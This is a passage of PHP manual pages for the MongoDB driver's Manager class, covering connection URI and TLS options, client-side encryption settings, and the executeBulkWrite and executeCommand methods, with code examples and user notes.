The authentication mechanism that MongoDB will use to authenticate the connection. For additional details and a list of supported values, see » Authentication Options in the MongoDB manual.

authMechanismProperties array

Properties for the selected authentication mechanism. For additional details and a list of supported properties, see the » Driver Authentication Specification.

Note: When not specified in the URI string, this option is expressed as an array of key/value pairs. The keys and values in this array should be strings.

authSource string

The database name associated with the user's credentials. Defaults to the database component of the connection URI, or the admin database if both are unspecified.

For authentication mechanisms that delegate credential storage to other services (e.g. GSSAPI), this should be "$external".

canonicalizeHostname bool

If true, the driver will resolve the real hostname for the server IP address before authenticating via SASL. Some underlying GSSAPI layers already do this, but the functionality may be disabled in their config (e.g. krb.conf). Defaults to false.

This option is a deprecated alias for the "CANONICALIZE_HOST_NAME" property of the "authMechanismProperties" URI option.

compressors string

A prioritized, comma-delimited list of compressors that the client wants to use. Messages are only compressed if the client and server share any compressors in common, and the compressor used in each direction will depend on the individual configuration of the server or driver. See the » Driver Compression Specification for more information.

connectTimeoutMS int

The time in milliseconds to attempt a connection before timing out. Defaults to 10,000 milliseconds.

directConnection bool

This option can be used to control replica set discovery behavior when only a single host is provided in the connection string. By default, providing a single member in the connection string will establish a direct connection or discover additional members depending on whether the "replicaSet" URI option is omitted or present, respectively. Specify false to force discovery to occur (if "replicaSet" is omitted) or specify true to force a direct connection (if "replicaSet" is present).

gssapiServiceName string

Set the Kerberos service name when connecting to Kerberized MongoDB instances. This value must match the service name set on MongoDB instances (i.e. » saslServiceName server parameter). Defaults to "mongodb".

This option is a deprecated alias for the "SERVICE_NAME" property of the "authMechanismProperties" URI option.

heartbeatFrequencyMS int

Specifies the interval in milliseconds between the driver's checks of the MongoDB topology, counted from the end of the previous check until the beginning of the next one. Defaults to 60,000 milliseconds.

Per the » Server Discovery and Monitoring Specification, this value cannot be less than 500 milliseconds.

journal bool

Corresponds to the default write concern's journal parameter. If true, writes will require acknowledgement from MongoDB that the operation has been written to the journal. For details, see MongoDB\Driver\WriteConcern.

loadBalanced bool

Specifies whether the driver is connecting to a MongoDB cluster through a load balancer. If true, the driver may only connect to a single host (specified by either the connection string or SRV lookup), the "directConnection" URI option cannot be true, and the "replicaSet" URI option must be omitted. Defaults to false.

localThresholdMS int

The size in milliseconds of the latency window for selecting among multiple suitable MongoDB instances while resolving a read preference. Defaults to 15 milliseconds.

maxStalenessSeconds int

Corresponds to the read preference's "maxStalenessSeconds". Specifies, in seconds, how stale a secondary can be before the client stops using it for read operations. By default, there is no maximum staleness and clients will not consider a secondary's lag when choosing where to direct a read operation. For details, see MongoDB\Driver\ReadPreference.

If specified, the max staleness must be a signed 32-bit integer greater than or equal to MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS (i.e. 90 seconds).

password | string | The password for the user being authenticated. This option is useful if the password contains special characters, which would otherwise need to be URL encoded for the connection URI.
readConcernLevel | string | Corresponds to the read concern's level parameter. Specifies the level of read isolation. For details, see MongoDB\Driver\ReadConcern.
readPreference string

Corresponds to the read preference's mode parameter. Defaults to "primary". For details, see MongoDB\Driver\ReadPreference.

readPreferenceTags array

Corresponds to the read preference's tagSets parameter. Tag sets allow you to target read operations to specific members of a replica set. For details, see MongoDB\Driver\ReadPreference.

Note: When not specified in the URI string, this option is expressed as an array consistent with the format expected by MongoDB\Driver\ReadPreference::__construct().

replicaSet string

Specifies the name of the replica set.

retryReads bool

Specifies whether or not the driver should automatically retry certain read operations that fail due to transient network errors or replica set elections. This functionality requires MongoDB 3.6+. Defaults to true.

See the » Retryable Reads Specification for more information.

retryWrites bool

Specifies whether or not the driver should automatically retry certain write operations that fail due to transient network errors or replica set elections. This functionality requires MongoDB 3.6+. Defaults to true.

See » Retryable Writes in the MongoDB manual for more information.

safe bool

If true, specifies 1 for the default write concern's w parameter. If false, 0 is specified. For details, see MongoDB\Driver\WriteConcern.

This option is deprecated and should not be used.

serverSelectionTimeoutMS int

Specifies how long in milliseconds to block for server selection before throwing an exception. Defaults to 30,000 milliseconds.

serverSelectionTryOnce bool

When true, instructs the driver to scan the MongoDB deployment exactly once after server selection fails and then either select a server or raise an error. When false, the driver blocks and searches for a server up to the "serverSelectionTimeoutMS" value. Defaults to true.

socketCheckIntervalMS int

If a socket has not been used recently, the driver must check it via a hello command before using it for any operation. Defaults to 5,000 milliseconds.

socketTimeoutMS int

The time in milliseconds to attempt a send or receive on a socket before timing out. Defaults to 300,000 milliseconds (i.e. five minutes).

srvMaxHosts int

The maximum number of SRV results to randomly select when initially populating the seedlist or, during SRV polling, adding new hosts to the topology. Defaults to 0 (i.e. no maximum).

srvServiceName string

The service name to use for SRV lookup in initial DNS seedlist discovery and SRV polling. Defaults to "mongodb".

ssl bool

Initiates the connection with TLS/SSL if true. Defaults to false.

This option is a deprecated alias for the "tls" URI option.

tls bool

Initiates the connection with TLS/SSL if true. Defaults to false.

tlsAllowInvalidCertificates bool

Specifies whether or not the driver should error when the server's TLS certificate is invalid. Defaults to false.

Warning

Disabling certificate validation creates a vulnerability.

tlsAllowInvalidHostnames bool

Specifies whether or not the driver should error when there is a mismatch between the server's hostname and the hostname specified by the TLS certificate. Defaults to false.

Warning

Disabling certificate validation creates a vulnerability. Allowing invalid hostnames may expose the driver to a » man-in-the-middle attack.

tlsCAFile string

Path to file with either a single or bundle of certificate authorities to be considered trusted when making a TLS connection. The system certificate store will be used by default.

tlsCertificateKeyFile string

Path to the client certificate file or the client private key file; in the case that they both are needed, the files should be concatenated.

tlsCertificateKeyFilePassword string

Password to decrypt the client private key (i.e. "tlsCertificateKeyFile" URI option) to be used for TLS connections.

tlsDisableCertificateRevocationCheck bool

If true, the driver will not attempt to check certificate revocation status (e.g. OCSP, CRL). Defaults to false.

tlsDisableOCSPEndpointCheck bool

If true, the driver will not attempt to contact an OCSP responder endpoint if needed (i.e. an OCSP response is not stapled). Defaults to false.

tlsInsecure bool

Relax TLS constraints as much as possible. Specifying true for this option has the same effect as specifying true for both the "tlsAllowInvalidCertificates" and "tlsAllowInvalidHostnames" URI options. Defaults to false.

Warning

Disabling certificate validation creates a vulnerability. Allowing invalid hostnames may expose the driver to a » man-in-the-middle attack.

username | string | The username for the user being authenticated. This option is useful if the username contains special characters, which would otherwise need to be URL encoded for the connection URI.
w int|string

Corresponds to the default write concern's w parameter. For details, see MongoDB\Driver\WriteConcern.

wTimeoutMS int|string

Corresponds to the default write concern's wtimeout parameter. Specifies a time limit, in milliseconds, for the write concern. For details, see MongoDB\Driver\WriteConcern.

If specified, wTimeoutMS must be a signed 32-bit integer greater than or equal to zero.

zlibCompressionLevel int

Specifies the compression level to use for the zlib compressor. This option has no effect if zlib is not included in the "compressors" URI option. See the » Driver Compression Specification for more information.

driverOptions

driverOptions
Option | Type | Description
allow_invalid_hostname bool

Disables hostname validation if true. Defaults to false.

Allowing invalid hostnames may expose the driver to a » man-in-the-middle attack.

This option is a deprecated alias for the "tlsAllowInvalidHostnames" URI option.

autoEncryption array

Provides options to enable automatic client-side field level encryption.

Note:

Automatic encryption is an enterprise-only feature that only applies to operations on a collection. Automatic encryption is not supported for operations on a database or view, and operations that are not bypassed will result in error (see » libmongocrypt: Auto Encryption Allow-List). To bypass automatic encryption for all operations, set bypassAutoEncryption to true.

Automatic encryption requires the authenticated user to have the » listCollections privilege action.

Explicit encryption/decryption and automatic decryption is a community feature. The driver can still automatically decrypt when bypassAutoEncryption is true.

The following options are supported:

Options for automatic encryption
Option | Type | Description
keyVaultClient | MongoDB\Driver\Manager | The Manager used to route data key queries to a separate MongoDB cluster. By default, the current Manager and cluster is used.
keyVaultNamespace | string | A fully qualified namespace (e.g. "databaseName.collectionName") denoting the collection that contains all data keys used for encryption and decryption. This option is required.
kmsProviders array

A document containing the configuration for one or more KMS providers, which are used to encrypt data keys. Supported providers include "aws", "azure", "gcp", "kmip", and "local" and at least one must be specified.

If an empty document is specified for "aws", "azure", or "gcp", the driver will attempt to configure the provider using » Automatic Credentials.

The format for "aws" is as follows:

aws: {
    accessKeyId: <string>,
    secretAccessKey: <string>,
    sessionToken: <optional string>
}

The format for "azure" is as follows:

azure: {
    tenantId: <string>,
    clientId: <string>,
    clientSecret: <string>,
    identityPlatformEndpoint: <optional string> // Defaults to "login.microsoftonline.com"
}

The format for "gcp" is as follows:

gcp: {
    email: <string>,
    privateKey: <base64 string>|<MongoDB\BSON\Binary>,
    endpoint: <optional string> // Defaults to "oauth2.googleapis.com"
}

The format for "kmip" is as follows:

kmip: {
    endpoint: <string>
}

The format for "local" is as follows:

local: {
    // 96-byte master key used to encrypt/decrypt data keys
    key: <base64 string>|<MongoDB\BSON\Binary>
}
tlsOptions array

A document containing the TLS configuration for one or more KMS providers. Supported providers include "aws", "azure", "gcp", and "kmip". All providers support the following options:

<provider>: {
    tlsCaFile: <optional string>,
    tlsCertificateKeyFile: <optional string>,
    tlsCertificateKeyFilePassword: <optional string>,
    tlsDisableOCSPEndpointCheck: <optional bool>
}
schemaMap array|object

Map of collection namespaces to a local JSON schema. This is used to configure automatic encryption. See » Automatic Encryption Rules in the MongoDB manual for more information. It is an error to specify a collection in both schemaMap and encryptedFieldsMap.

Note: Supplying a schemaMap provides more security than relying on JSON schemas obtained from the server. It protects against a malicious server advertising a false JSON schema, which could trick the client into sending unencrypted data that should be encrypted.

Note: Schemas supplied in the schemaMap only apply to configuring automatic encryption for client side encryption. Other validation rules in the JSON schema will not be enforced by the driver and will result in an error.

bypassAutoEncryption | bool | If true, mongocryptd will not be spawned automatically. This is used to disable automatic encryption. Defaults to false.
bypassQueryAnalysis bool

If true, automatic analysis of outgoing commands will be disabled and mongocryptd will not be spawned automatically. This enables the use case of explicit encryption for querying indexed fields without requiring the enterprise licensed crypt_shared library or mongocryptd process. Defaults to false.

encryptedFieldsMap array|object

Map of collection namespaces to an encryptedFields document. This is used to configure queryable encryption. See » Field Encryption and Queryability in the MongoDB manual for more information. It is an error to specify a collection in both encryptedFieldsMap and schemaMap.

Note: Supplying an encryptedFieldsMap provides more security than relying on an encryptedFields obtained from the server. It protects against a malicious server advertising a false encryptedFields.

extraOptions array

The extraOptions relate to the mongocryptd process. The following options are supported:

  • mongocryptdURI (string): URI to connect to an existing mongocryptd process. Defaults to "mongodb://localhost:27020".
  • mongocryptdBypassSpawn (bool): If true, prevent the driver from spawning mongocryptd. Defaults to false.
  • mongocryptdSpawnPath (string): Absolute path to search for mongocryptd binary. Defaults to empty string and consults system paths.
  • mongocryptdSpawnArgs (array): Array of string arguments to pass to mongocryptd when spawning. Defaults to ["--idleShutdownTimeoutSecs=60"].
  • cryptSharedLibPath (string): Absolute path to crypt_shared shared library. Defaults to empty string and consults system paths.
  • cryptSharedLibRequired (bool): If true, require the driver to load crypt_shared. Defaults to false.

See the » Client-Side Encryption Specification for more information.

Note: Automatic encryption is an enterprise only feature that only applies to operations on a collection. Automatic encryption is not supported for operations on a database or view, and operations that are not bypassed will result in error. To bypass automatic encryption for all operations, set bypassAutoEncryption=true in autoEncryption. For more information on allowed operations, see the » Client-Side Encryption Specification.

ca_dir string

Path to a correctly hashed certificate directory. The system certificate store will be used by default.

ca_file string

Path to file with either a single or bundle of certificate authorities to be considered trusted when making a TLS connection. The system certificate store will be used by default.

This option is a deprecated alias for the "tlsCAFile" URI option.

context resource

SSL context options to be used as fallbacks if a driver option or its equivalent URI option, if any, is not specified. Note that the driver does not consult the default stream context (i.e. stream_context_get_default()). The following context options are supported:

SSL context option fallbacks
Driver option | Context option (fallback)
ca_dir | capath
ca_file | cafile
pem_file | local_cert
pem_pwd | passphrase
weak_cert_validation | allow_self_signed

This option is supported for backwards compatibility, but should be considered deprecated.

crl_file | string | Path to a certificate revocation list file.
disableClientPersistence bool

If true, this Manager will use a new libmongoc client, which will not be persisted or shared with other Manager objects. When this Manager object is freed, its client will be destroyed and any connections will be closed. Defaults to false.

Note: Disabling client persistence is not generally recommended.

driver array

Allows custom drivers to append their own metadata to the server handshake. By default, the driver submits its own name, version, and platform (i.e. PHP version) in the handshake. Custom drivers can specify strings for the "name", "version", and "platform" keys of this array, which will be appended to the respective field(s) in the handshake document.

Note: Handshake information is limited to 512 bytes. The driver will truncate handshake data to fit within this 512-byte string. Drivers and ODMs are encouraged to keep their own metadata concise.

pem_file string

Path to a PEM encoded certificate to use for client authentication.

This option is a deprecated alias for the "tlsCertificateKeyFile" URI option.

pem_pwd string

Passphrase for the PEM encoded certificate (if applicable).

This option is a deprecated alias for the "tlsCertificateKeyFilePassword" URI option.

serverApi MongoDB\Driver\ServerApi

This option is used to declare a server API version for the manager. If omitted, no API version is declared.

weak_cert_validation bool

Disables certificate validation if true. Defaults to false

This option is a deprecated alias for the "tlsAllowInvalidCertificates" URI option.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\RuntimeException if the uri format is invalid

更新日志

版本 说明
PECL mongodb 1.16.0

The AWS KMS provider for client-side encryption now accepts a "sessionToken" option, which can be used to authenticate with temporary AWS credentials.

Added "tlsDisableOCSPEndpointCheck" to the "tlsOptions" field of the "autoEncryption" driver option.

If an empty document is specified for the "azure" or "gcp" KMS provider, the driver will attempt to configure the provider using » Automatic Credentials.

PECL mongodb 1.15.0

If an empty document is specified for the "aws" KMS provider, the driver will attempt to configure the provider using » Automatic Credentials.

PECL mongodb 1.14.0

Added the "bypassQueryAnalysis" and "encryptedFieldsMap" auto encryption options. Additional options pertaining to crypt_shared are now supported in the "extraOptions" auto encryption option.

PECL mongodb 1.13.0

Added the "srvMaxHosts" and "srvServiceName" URI options.

PECL mongodb 1.12.0

KMIP is now supported as a KMS provider for client-side encryption and may be configured in the "kmsProviders" field of the "autoEncryption" driver option. Additionally, TLS options for KMS providers may now be configured in the "tlsOptions" field of the "autoEncryption" driver option.

PECL mongodb 1.11.0

Added the "loadBalanced" URI option.

PECL mongodb 1.10.0

Added the "disableClientPersistence" driver option.

Azure and GCP are now supported as KMS providers for client-side encryption and may be configured in the "kmsProviders" field of the "autoEncryption" driver option. Base64-encoded strings are now accepted as an alternative to MongoDB\BSON\Binary for options within "kmsProviders".

PECL mongodb 1.8.0

Added the "directConnection", "tlsDisableCertificateRevocationCheck", and "tlsDisableOCSPEndpointCheck" URI options.

Added the "driver" driver option.

PECL mongodb 1.7.0

Added the "autoEncryption" driver option.

Specifying any SSL or TLS option via the driverOptions parameter will now implicitly enable TLS, as is done for the corresponding URI options.

PECL mongodb 1.6.0

Added the "retryReads", "tls", "tlsAllowInvalidCertificates", "tlsAllowInvalidHostnames", "tlsCAFile", "tlsCertificateKeyFile", "tlsCertificateKeyFilePassword", and "tlsInsecure" URI options.

The "retryWrites" URI option defaults to true.

Specifying any SSL or TLS URI option via the connection string or uriOptions parameter will now implicitly enable TLS unless ssl or tls is false. TLS is not implicitly enabled for any options in the driverOptions parameter, which is unchanged from previous versions.

PECL mongodb 1.5.0

"wtimeoutMS" is now always validated and applied to the write concern. Previously, the option was ignored if "w" was <= 1, since the timeout only applies to replication.

PECL mongodb 1.4.0

Added the "compressors", "retryWrites", and "zlibCompressionLevel" URI options.

PECL mongodb 1.3.0

The uriOptions argument now accepts "authMechanism" and "authMechanismProperties" options. Previously, these options were only supported in the uri argument.

PECL mongodb 1.2.0

The uri argument defaults to "mongodb://127.0.0.1/". The default port remains 27017.

Added the "appname" URI option.

Added the "allow_invalid_hostname", "ca_file", "ca_dir", "clr_file", "pem_file", "pem_pwd", and "weak_cert_validation" driver options.

The PHP Streams API is no longer used for socket communication. The "connectTimeoutMS" URI option now defaults to 10 seconds instead of default_socket_timeout in previous versions. Additionally, the driver no longer supports all SSL context options via the "context" driver option.

PECL mongodb 1.1.0

The uri argument is optional and defaults to "mongodb://localhost:27017/".

示例

Example #1 MongoDB\Driver\Manager::__construct() basic examples

Connecting to standalone MongoDB node:

<?php

$manager = new MongoDB\Driver\Manager("mongodb://example.com:27017");

?>

Connecting to standalone MongoDB node via a Unix domain socket. The socket path may include special characters such as slashes and should be encoded with rawurlencode().

<?php

$manager = new MongoDB\Driver\Manager("mongodb://" . rawurlencode("/tmp/mongodb-27017.sock"));

?>

Connecting to a replica set:

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

?>

Connecting to a sharded cluster (i.e. one or more mongos instances):

<?php

$manager = new MongoDB\Driver\Manager("mongodb://mongos1.example.com,mongos2.example.com/");

?>

Connecting to MongoDB with authentication credentials for a particular user and database:

<?php

$manager = new MongoDB\Driver\Manager("mongodb://myusername:mypassword@example.com/?authSource=databaseName");

?>

Connecting to MongoDB with authentication credentials for a particular user and database, where the username or password includes special characters (e.g. @, :, %). In the following example, the password string myp@ss:w%rd has been manually escaped; however, rawurlencode() may also be used to escape URI components that may contain special characters.

<?php

$manager = new MongoDB\Driver\Manager("mongodb://myusername:myp%40ss%3Aw%25rd@example.com/?authSource=databaseName");

?>

Connecting to MongoDB with X509 authentication:

<?php

$manager = new MongoDB\Driver\Manager(
"mongodb://example.com/?ssl=true&authMechanism=MONGODB-X509",
[],
[
"pem_file" => "/path/to/client.pem",
]
);
?>

参见

  • Connection handling and persistence
  • » MongoDB Connection String Format

User Contributed Notes

denys at bulakhweb dot com 06-Jul-2017 02:31
Please note, if you send socketTimeoutMs value as 0 to disable timeout (according to MongoDB documentation), it will be considered as default value which is 300,000 ms in PHP driver. So send some really huge amount in case if you need to disable limitation.
denys at bulakhweb dot com 06-Jul-2017 02:20
Please note, if you send socketTimeoutMs value as 0 to disable timeout (according to MongoDB documentation), it will be considered as default value which is 300,000 ms in PHP driver. So send some really huge amount in case if you need to disable limitation.


Create a new ClientEncryption object

  • ? MongoDB\Driver\Manager::__construct
  • MongoDB\Driver\Manager::executeBulkWrite ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Create a new ClientEncryption object

MongoDB\Driver\Manager::createClientEncryption

(mongodb >=1.7.0)

MongoDB\Driver\Manager::createClientEncryption — Create a new ClientEncryption object

说明

final public MongoDB\Driver\Manager::createClientEncryption(array $options): MongoDB\Driver\ClientEncryption

Constructs a new MongoDB\Driver\ClientEncryption object with the specified options.

参数

options

options
Option | Type | Description
keyVaultClient | MongoDB\Driver\Manager | The Manager used to route data key queries to a separate MongoDB cluster. By default, the current Manager and cluster is used.
keyVaultNamespace | string | A fully qualified namespace (e.g. "databaseName.collectionName") denoting the collection that contains all data keys used for encryption and decryption. This option is required.
kmsProviders array

A document containing the configuration for one or more KMS providers, which are used to encrypt data keys. Supported providers include "aws", "azure", "gcp", "kmip", and "local" and at least one must be specified.

If an empty document is specified for "aws", "azure", or "gcp", the driver will attempt to configure the provider using » Automatic Credentials.

The format for "aws" is as follows:

aws: {
    accessKeyId: <string>,
    secretAccessKey: <string>,
    sessionToken: <optional string>
}

The format for "azure" is as follows:

azure: {
    tenantId: <string>,
    clientId: <string>,
    clientSecret: <string>,
    identityPlatformEndpoint: <optional string> // Defaults to "login.microsoftonline.com"
}

The format for "gcp" is as follows:

gcp: {
    email: <string>,
    privateKey: <base64 string>|<MongoDB\BSON\Binary>,
    endpoint: <optional string> // Defaults to "oauth2.googleapis.com"
}

The format for "kmip" is as follows:

kmip: {
    endpoint: <string>
}

The format for "local" is as follows:

local: {
    // 96-byte master key used to encrypt/decrypt data keys
    key: <base64 string>|<MongoDB\BSON\Binary>
}
tlsOptions array

A document containing the TLS configuration for one or more KMS providers. Supported providers include "aws", "azure", "gcp", and "kmip". All providers support the following options:

<provider>: {
    tlsCaFile: <optional string>,
    tlsCertificateKeyFile: <optional string>,
    tlsCertificateKeyFilePassword: <optional string>,
    tlsDisableOCSPEndpointCheck: <optional bool>
}

返回值

Returns a new MongoDB\Driver\ClientEncryption instance.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\RuntimeException if the extension was compiled without libmongocrypt support

更新日志

版本 | 说明
PECL mongodb 1.16.0

The AWS KMS provider for client-side encryption now accepts a "sessionToken" option, which can be used to authenticate with temporary AWS credentials.

Added "tlsDisableOCSPEndpointCheck" to the "tlsOptions" option.

If an empty document is specified for the "azure" or "gcp" KMS provider, the driver will attempt to configure the provider using » Automatic Credentials.

PECL mongodb 1.15.0

If an empty document is specified for the "aws" KMS provider, the driver will attempt to configure the provider using » Automatic Credentials.

PECL mongodb 1.12.0

KMIP is now supported as a KMS provider for client-side encryption and may be configured in the "kmsProviders" option.

Added the "tlsOptions" option.

PECL mongodb 1.10.0 | Azure and GCP are now supported as KMS providers for client-side encryption and may be configured in the "kmsProviders" option. Base64-encoded strings are now accepted as an alternative to MongoDB\BSON\Binary for options within "kmsProviders".

参见

  • MongoDB\Driver\ClientEncryption::__construct() - Create a new ClientEncryption object
  • » Explicit (Manual) Client-Side Field Level Encryption in the MongoDB manual

User Contributed Notes

There are no user contributed notes for this page.


Execute one or more write operations

  • ? MongoDB\Driver\Manager::createClientEncryption
  • MongoDB\Driver\Manager::executeCommand ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Execute one or more write operations

MongoDB\Driver\Manager::executeBulkWrite

(mongodb >=1.0.0)

MongoDB\Driver\Manager::executeBulkWrite — Execute one or more write operations

说明

final public MongoDB\Driver\Manager::executeBulkWrite(string $namespace, MongoDB\Driver\BulkWrite $bulk, array|MongoDB\Driver\WriteConcern|null $options = null): MongoDB\Driver\WriteResult

Executes one or more write operations on the primary server.

A MongoDB\Driver\BulkWrite can be constructed with one or more write operations of varying types (e.g. updates, deletes, and inserts). The driver will attempt to send operations of the same type to the server in as few requests as possible to optimize round trips.

参数

namespace (string)

A fully qualified namespace (e.g. "databaseName.collectionName").

bulk (MongoDB\Driver\BulkWrite)

The write(s) to execute.

options

options
Option Type Description
session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

返回值

Returns MongoDB\Driver\WriteResult on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if bulk does not contain any write operations.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if bulk has already been executed. MongoDB\Driver\BulkWrite objects may not be executed multiple times.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\BulkWriteException on any write failure (e.g. write error, failure to apply a write concern)
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors.

更新日志

版本 | 说明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.
PECL mongodb 1.4.0 | The third parameter is now an options array. For backwards compatibility, this paramater will still accept a MongoDB\Driver\WriteConcern object.
PECL mongodb 1.3.0 | MongoDB\Driver\Exception\InvalidArgumentException is now thrown if bulk does not contain any write operations. Previously, a MongoDB\Driver\Exception\BulkWriteException was thrown.

示例

Example #1 MongoDB\Driver\Manager::executeBulkWrite() example

<?php

$bulk = new MongoDB\Driver\BulkWrite();

$bulk->insert(['_id' => 1, 'x' => 1]);
$bulk->insert(['_id' => 2, 'x' => 2]);

$bulk->update(['x' => 2], ['$set' => ['x' => 1]], ['multi' => false, 'upsert' => false]);
$bulk->update(['x' => 3], ['$set' => ['x' => 3]], ['multi' => false, 'upsert' => true]);
$bulk->update(['_id' => 3], ['$set' => ['x' => 3]], ['multi' => false, 'upsert' => true]);

$bulk->insert(['_id' => 4, 'x' => 2]);

$bulk->delete(['x' => 1], ['limit' => 1]);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$writeConcern = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY, 100);
$result = $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);

printf("Inserted %d document(s)\n", $result->getInsertedCount());
printf("Matched %d document(s)\n", $result->getMatchedCount());
printf("Updated %d document(s)\n", $result->getModifiedCount());
printf("Upserted %d document(s)\n", $result->getUpsertedCount());
printf("Deleted %d document(s)\n", $result->getDeletedCount());

foreach ($result->getUpsertedIds() as $index => $id) {
printf('upsertedId[%d]: ', $index);
var_dump($id);
}

/* If the WriteConcern could not be fulfilled */
if ($writeConcernError = $result->getWriteConcernError()) {
printf("%s (%d): %s\n", $writeConcernError->getMessage(), $writeConcernError->getCode(), var_export($writeConcernError->getInfo(), true));
}

/* If a write could not happen at all */
foreach ($result->getWriteErrors() as $writeError) {
printf("Operation#%d: %s (%d)\n", $writeError->getIndex(), $writeError->getMessage(), $writeError->getCode());
}
?>

以上示例的输出类似于：

Inserted 3 document(s)
Matched  1 document(s)
Updated  1 document(s)
Upserted 2 document(s)
Deleted  1 document(s)
upsertedId[3]: object(MongoDB\BSON\ObjectId)#5 (1) {
  ["oid"]=>
  string(24) "54d3adc3ce7a792f4d703756"
}
upsertedId[4]: int(3)

参见

  • MongoDB\Driver\BulkWrite
  • MongoDB\Driver\WriteResult
  • MongoDB\Driver\WriteConcern
  • MongoDB\Driver\Server::executeBulkWrite() - Execute one or more write operations on this server

User Contributed Notes

RJ 04-Sep-2019 05:29
If you're trying to figure out how to insert just one object and NOT an array resulting in a bunch of unwanted [0]s in your schema, I'm sorry I cannot help you. I've scoured the SERPs and since MongoDB\Driver\BulkWrite only takes an array it appears there is literally no way to "insertOne" in PHP7, nor a way to pass JUST an object and NOT an array, which may mean you must use a different language or revert to shell commands :-\.

There are several articles where people, apparently mistakenly, refer to "MongoDB\Driver\Client" but neither that nor "MongoDB\Driver\Collections" appear to exist at all. I'm devastated, but if this forces me to downgrade to PHP5 on a brand new project I'll just need to move to a more modern language. :-(

After several hours of this torture I'm now going to spend another hour trying to figure out if I can compose an update query that will collapse the unnecessary array that is being stuck where an object (document) should be. Ug. I realize people using MongoDB have mostly fled PHP, but abandoning the few & loyal among us is really very sad as has been attested to by the unresolved stackoverflow laments that have been going on for years.


Execute a database command

  • ? MongoDB\Driver\Manager::executeBulkWrite
  • MongoDB\Driver\Manager::executeQuery ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Execute a database command

MongoDB\Driver\Manager::executeCommand

(mongodb >=1.0.0)

MongoDB\Driver\Manager::executeCommand — Execute a database command

说明

final public MongoDB\Driver\Manager::executeCommand(string $db, MongoDB\Driver\Command $command, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor

Selects a server according to the "readPreference" option and executes the command on that server. By default, the primary server will be selected.

This method applies no special logic to the command. Although this method accepts "readConcern" and "writeConcern" options, which will be incorporated into the command document, those options will not default to corresponding values from the MongoDB Connection URI nor will the MongoDB server version be taken into account. Users are therefore encouraged to use specific read and/or write command methods if possible.

参数

db (string)

The name of the database on which to execute the command.

command (MongoDB\Driver\Command)

The command to execute.

options

options
Option Type Description
readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

Warning

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返回值

Returns MongoDB\Driver\Cursor on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command, issuing a write command to a secondary).

更新日志

版本 | 说明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.
PECL mongodb 1.4.0 | The third parameter is now an options array. For backwards compatibility, this paramater will still accept a MongoDB\Driver\ReadPreference object.

示例

Example #1 MongoDB\Driver\Manager::executeCommand() with a command returning a single result document

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$command = new MongoDB\Driver\Command(['ping' => 1]);

try {
$cursor = $manager->executeCommand('admin', $command);
} catch(MongoDB\Driver\Exception $e) {
echo $e->getMessage(), "\n";
exit;
}

/* The ping command returns a single result document, so we need to access the
* first result in the cursor. */
$response = $cursor->toArray()[0];

var_dump($response);

?>

以上示例会输出：

array(1) {
  ["ok"]=>
  float(1)
}

Example #2 MongoDB\Driver\Manager::executeCommand() with a command returning a cursor

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1, 'y' => 'foo']);
$bulk->insert(['x' => 2, 'y' => 'bar']);
$bulk->insert(['x' => 3, 'y' => 'bar']);
$manager->executeBulkWrite('db.collection', $bulk);

$command = new MongoDB\Driver\Command([
'aggregate' => 'collection',
'pipeline' => [
['$group' => ['_id' => '$y', 'sum' => ['$sum' => '$x']]],
],
'cursor' => new stdClass,
]);
$cursor = $manager->executeCommand('db', $command);

/* The aggregate command can optionally return its results in a cursor instead
* of a single result document. In this case, we can iterate on the cursor
* directly to access those results. */
foreach ($cursor as $document) {
var_dump($document);
}

?>

以上示例会输出：

object(stdClass)#6 (2) {
  ["_id"]=>
